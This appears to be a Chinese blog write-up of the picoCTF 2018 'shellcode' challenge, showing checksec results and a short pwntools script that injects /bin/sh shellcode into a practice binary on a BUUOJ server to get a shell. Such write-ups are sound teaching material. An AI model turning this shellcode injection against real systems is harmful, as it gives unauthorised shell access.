加载头像

picoctf_2018_shellcode

Ubuntu 18 来源:https://github.com/hebtuerror404


0x01


checksec

1
2
3
4
5
6
7
[*] '/home/zelas/Desktop/pwn/picoctf_2018_shellcode/PicoCTF_2018_shellcode'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
1
2
$ file PicoCTF_2018_shellcode       
PicoCTF_2018_shellcode: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=fdba7cd36e043609da623c330a501f920470b49a, not stripped

0x03


exp

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

context(os='linux', arch='i386', log_level='debug')
io = remote('node4.buuoj.cn', 28491)
path = './PicoCTF_2018_shellcode'
# io = process([path])

shellcode = asm(shellcraft.sh())
payload = flat(shellcode)
io.sendline(payload)
io.interactive()


评论
✅ 你无需删除空行,直接评论以获取最佳展示效果
引用到评论
随便逛逛博客分类文章标签
复制地址关闭热评深色模式轉為繁體